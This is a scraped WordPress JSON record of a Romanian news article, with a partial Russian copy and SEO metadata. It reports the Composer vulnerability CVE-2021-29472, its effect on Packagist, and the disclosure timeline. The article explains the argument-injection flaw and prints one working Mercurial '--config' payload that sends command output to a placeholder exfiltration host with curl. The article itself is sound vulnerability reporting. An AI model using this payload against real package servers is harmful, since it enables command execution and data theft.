Managerul de dependen\u021be Composer a identificat o vulnerabilitate critic\u0103 (CVE-2021-29472), care permite executarea de comenzi arbitrare \u00een sistem atunci c\u00e2nd se proceseaz\u0103 un pachet cu o valoare URL special format\u0103, definind o adres\u0103 pentru desc\u0103rcarea codului surs\u0103. Problema se manifest\u0103 \u00een componentele GitDriver, SvnDriver \u0219i HgDriver, utilizate \u00een sistemele de gestionare a codului surs\u0103 Git, Subversion \u0219i Mercurial. Vulnerabilitatea a fost remediat\u0103 \u00een versiunile Composer 1.10.22 \u0219i 2.0.13. <\/p>\n
Se remarc\u0103 \u00een mod special c\u0103 problema a afectat \u00een principal repository-ul de pachete Packagist, utilizat implicit \u00een Composer, care con\u021bine 306 mii de pachete pentru dezvoltatorii PHP \u0219i deserve\u0219te lunar peste 1.4 miliarde de desc\u0103rc\u0103ri. \u00cen cadrul experimentului s-a demonstrat c\u0103, av\u00e2nd informa\u021bii despre problem\u0103, atacatorii ar putea prelua controlul asupra infrastructurii Packagist \u0219i intercepta datele de autentificare ale colaboratorilor sau redirec\u021biona desc\u0103rcarea pachetelor c\u0103tre un server extern, aranj\u00e2nd livrarea de variante ale pachetelor cu modific\u0103ri mali\u021bioase pentru a introduce un backdoor \u00een procesul de instalare a dependen\u021belor. <\/p>\n
Pericolul pentru utilizatorii finali este limitat la faptul c\u0103 con\u021binutul composer.json este de obicei definit de utilizator, iar linkurile c\u0103tre codurile surs\u0103 sunt transmise atunci c\u00e2nd se acceseaz\u0103 repository-uri externe, de obicei de \u00eencredere. Principalul impact a fost asupra repository-ului Packagist.org \u0219i al serviciului Private Packagist, care apeleaz\u0103 Composer cu datele ob\u021binute de la utilizatori. Atacatorii ar fi putut rula codul lor pe serverele Packagist prin \u00eenc\u0103rcarea unui pachet special format. <\/p>\n
Echipa Packagist a remediat vulnerabilitatea \u00een termen de 12 ore dup\u0103 primirea notific\u0103rii despre aceasta. Cercet\u0103torii au notificat privat dezvoltatorii Packagist pe 22 aprilie, iar \u00een aceea\u0219i zi problema a fost rezolvat\u0103. Actualizarea public\u0103 a Composer cu remedierea vulnerabilit\u0103\u021bii a fost publicat\u0103 pe 27 aprilie, iar detaliile au fost dezv\u0103luite pe 28 aprilie. Auditul log-urilor de pe serverele Packagist nu a eviden\u021biat activitate suspect\u0103 legat\u0103 de vulnerabilitate. <\/p>\n
Problema este cauzat\u0103 de o eroare \u00een codul de validare a URL-ului din fi\u0219ierul r\u0103d\u0103cin\u0103 composer.json \u0219i \u00een linkurile pentru desc\u0103rcarea textelor surs\u0103. Eroarea este prezent\u0103 \u00een cod din noiembrie 2011. \u00cen Packagist, pentru organizarea desc\u0103rc\u0103rii codului f\u0103r\u0103 a fi legat de un sistem specific de gestionare a versiunilor, se aplic\u0103 straturi speciale care sunt executate prin apelul \u201efromShellCommandline\u201d cu transmiterea argumentelor din linia de comand\u0103. De exemplu, pentru git se apeleaz\u0103 comanda \u201egit ls-remote \u2014heads $URL\u201d, unde URL-ul este procesat prin metoda \u201eProcessExecutor::escape($url)\u201d, care escapa construc\u021biile poten\u021bial periculoase, cum ar fi \u201e$(…)\u201d sau \u201e`…`.\u201d <\/p>\n
Esenta problemei este c\u0103 metoda ProcessExecutor::escape nu a escapat secven\u021ba \u201e\u2014\u201d, ceea ce permitea specificarea oric\u0103rui parametru suplimentar \u00een URL. O astfel de escapare a fost absent\u0103 \u00een driverele GitDriver.php, SvnDriver.php \u0219i HgDriver.php. Atacarea prin GitDriver.php a fost \u00eempiedicat\u0103 de faptul c\u0103 comanda \u201egit ls-remote\u201d nu suporta specificarea argumentelor suplimentare dup\u0103 cale. O atacare a fost posibil\u0103 prin HgDriver.php prin transmiterea parametrului \u201e\u2014config\u201d utilitatii \u201ehq\u201d, permi\u021b\u00e2nd executarea oric\u0103rei comenzi prin manipularea configura\u021biei \u201ealias.identify\u201d. De exemplu, pentru a desc\u0103rca \u0219i executa codul prin apelul utilit\u0103\u021bii curl, se putea specifica: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n
Prin plasarea unui pachet de test \u00een Packagist cu un astfel de URL, cercet\u0103torii s-au asigurat c\u0103, dup\u0103 plasarea pe serverul lor, a fost primit un HTTP-request de pe unul din servere<\/a> Packagist \u00een AWS, con\u021bin\u00e2nd un listing al fi\u0219ierelor din directorul curent. \u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilitate \u00een managerul de pachete Composer, care permite compromiterea repository-ului PHP Packagist | ProHoster","description":"\u00cen managerul de dependen\u021be Composer a fost identificat\u0103 o vulnerabilitate critic\u0103 (CVE-2021-29472), care permite executarea de comenzi arbitrare \u00een sistem la procesarea unui pachet cu o valoare URL special format\u0103, care define\u0219te.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/ro\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"